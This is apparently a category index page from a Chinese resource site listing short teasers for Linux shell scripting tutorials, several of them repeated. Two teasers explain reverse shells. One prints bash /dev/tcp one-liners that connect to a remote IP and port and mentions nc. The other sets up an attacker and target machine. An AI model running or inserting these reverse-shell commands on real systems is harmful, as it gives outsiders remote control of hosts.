子分类
linux查看防火墙是否开启
免费资源网 - https://freexyz.cn/ linux看防火墙是否开启、删除iptables规则 准备工作 首先确认IP 为了待会的测试,我们先确认一下linux主机的IP。可以使用ifconfig或ip addr查看。 查看系统监...
shell 判断字符串是否存在数组中的实现示例
免费资源网 - https://freexyz.cn/ 语法格式: [[ '${array[@]}' =~ '字符串' ]] 示例:#!/bin/sh ##数组 array=( address base cart company store ) # $1 如果存在,输出 $1 exists,$1 如果...
Linux 中shell脚本设置开头固定格式的实现方法
免费资源网 - https://freexyz.cn/ Linux 之shell脚本设置开头固定格式每次进入shell都要设置开头,很麻烦,现修改vim配置文件即可。[root@node01 ~]vim .vimrc将下列内容复制进文件set ignorec...
linux反弹shell的原理详解
免费资源网 - https://freexyz.cn/ 完整命令 反弹shell命令:bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -i > /dev/tcp/ip/port 0>&1 2>&1利用nc反弹shell:...
一键配置本地yum源的shell脚本
免费资源网 - https://freexyz.cn/ 效果如图: 代码#!/bin/bash #Author:GaoHongYu #QQ:1061767621 #Time:2019-12-26 16:30:19 #Name:yumgz.sh #Version:V1.0 CKGZ=$( df -Th | grep -o 'iso966...
Shell退出状态码及其应用详解
免费资源网 - https://freexyz.cn/ Shell 中运行的命令会使用0-255之间的整数值,作为退出状态码,并以此来告知shell该命令执行的状态。通常情况下,约定0代表命令成功结束,非0代表程序非正常退...
linux自动化交互脚本expect详解
免费资源网 - https://freexyz.cn/ 一、介绍 expect脚本是Tcl脚本语言的拓展。用来实现自动的交互式任务,无需人为干预。在实际开发中,运行shell脚本有时候会输入linux密码或者是mysql密码等,...
shell模糊匹配与正则详解
免费资源网 - https://freexyz.cn/ 前言: 正则可以实现一些简单的功能,并用在脚本中,如检测ip地址是否符合规范,检测文件名是否符合规范等等。 正则表达式 正则表达式主要是用来描述一个句法...
shell模糊匹配与正则详解
免费资源网 - https://freexyz.cn/ 前言: 正则可以实现一些简单的功能,并用在脚本中,如检测ip地址是否符合规范,检测文件名是否符合规范等等。 正则表达式 正则表达式主要是用来描述一个句法...
shell中set指令的用法详解
免费资源网 - https://freexyz.cn/ 语法 set [-可选参数] [-o 选项] 功能说明 set 指令可根据不同的需求来设置当前所使用 shell 的执行方式,同时也可以用来设置或显示 shell 变量的值。当指定...
shell中set指令的用法详解
免费资源网 - https://freexyz.cn/ 语法 set [-可选参数] [-o 选项] 功能说明 set 指令可根据不同的需求来设置当前所使用 shell 的执行方式,同时也可以用来设置或显示 shell 变量的值。当指定...
shell中set指令的用法详解
免费资源网 - https://freexyz.cn/ 语法 set [-可选参数] [-o 选项] 功能说明 set 指令可根据不同的需求来设置当前所使用 shell 的执行方式,同时也可以用来设置或显示 shell 变量的值。当指定...
shell脚本实现公司项目部署交付环境预检查的思路
免费资源网 - https://freexyz.cn/ 大型项目环境预检查脚本,根据自己实际情况修改脚本中变量,给大家一个思路,转载请注明出处~#!/usr/bin/env bash root=$( cd $(dirname $0) pwd ) source '$...
shell脚本实现公司项目部署交付环境预检查的思路
免费资源网 - https://freexyz.cn/ 大型项目环境预检查脚本,根据自己实际情况修改脚本中变量,给大家一个思路,转载请注明出处~#!/usr/bin/env bash root=$( cd $(dirname $0) pwd ) source '$...
详解shell 函数定义与调用
免费资源网 - https://freexyz.cn/ 一、Shell函数定义格式 shell函数定义格式,各部分说明如下: [ function ]等中括号括起来部分----表示可选(即可有可无) your_function_name部分----为函数...
详解shell 函数定义与调用
免费资源网 - https://freexyz.cn/ 一、Shell函数定义格式 shell函数定义格式,各部分说明如下: [ function ]等中括号括起来部分----表示可选(即可有可无) your_function_name部分----为函数...
shell脚本中$符号的命令使用汇总
免费资源网 - https://freexyz.cn/ 今天是远程办公的第4天,渐渐的找到了一点在家办公的节奏了,改了几个shell脚本,在改动过程中,发现还有一些知识点需要巩固,这里写出来,加深下印象。 &nbs...
详解shell脚本的编写规范
免费资源网 - https://freexyz.cn/ 编写shell脚本的一些规范 解释器 shell脚本一般选择bash作为解释器,脚本开头应为#!/bin/bash 或 #!/bin/sh添加脚本版本和注释功能 在脚本的开头加注释,说明...
详解shell脚本的编写规范
免费资源网 - https://freexyz.cn/ 编写shell脚本的一些规范 解释器 shell脚本一般选择bash作为解释器,脚本开头应为#!/bin/bash 或 #!/bin/sh添加脚本版本和注释功能 在脚本的开头加注释,说明...
Linux Shell 如何获取参数的方法
免费资源网 - https://freexyz.cn/ $# 是传给脚本的参数个数 $0 是脚本本身的名字 $1 是传递给该shell脚本的第一个参数 $2 是传递给该shell脚本的第二个参数 $@ 是传给脚本的所有参数的列表 $* ...
Shell用sed命令删除特定行的方法
sed命令作为一个强大的shell命令,可以快速删除任意特定的行列,配合awk命令可以轻松地操作批量处理文件,下面就来看看吧! sed命令常用到的两个选项:-i : 直接在文件上编辑 (edit files in p...
详解shell中脚本参数传递的两种方式
免费资源网 - https://freexyz.cn/ 方式一:$0,$1,$2.. 采用$0,$1,$2..等方式获取脚本命令行传入的参数,值得注意的是,$0获取到的是脚本路径以及脚本名,后面按顺序获取参数,当参数超过10个时...
浅析Linux之bash反弹shell原理
免费资源网 - https://freexyz.cn/ 环境 攻击机:kali ip:192.168.25.144 靶 机:centos ip:192.168.25.142 过...
shell脚本实现磁盘监控系统
免费资源网 - https://freexyz.cn/ 利用shell脚本实现每隔60秒磁盘内存数据监控#!/bin/bash #Author:GaoHongYu #QQ:1061767621 #Time:2019-12-24 18:43:22 #Name:ncjk.sh #Version:V1.0 clear x...
shell脚本实现磁盘监控系统
免费资源网 - https://freexyz.cn/ 利用shell脚本实现每隔60秒磁盘内存数据监控#!/bin/bash #Author:GaoHongYu #QQ:1061767621 #Time:2019-12-24 18:43:22 #Name:ncjk.sh #Version:V1.0 clear x...
Linux 通过 autojump 命令减少 cd 命令的使用的实现方法
免费资源网 - https://freexyz.cn/ Linux - 通过 autojump 命令减少 cd 命令的使用 1、安装 autojumpgit clone git://github.com/joelthelion/autojump.git安装 cd autojump ./install.py 卸载 ...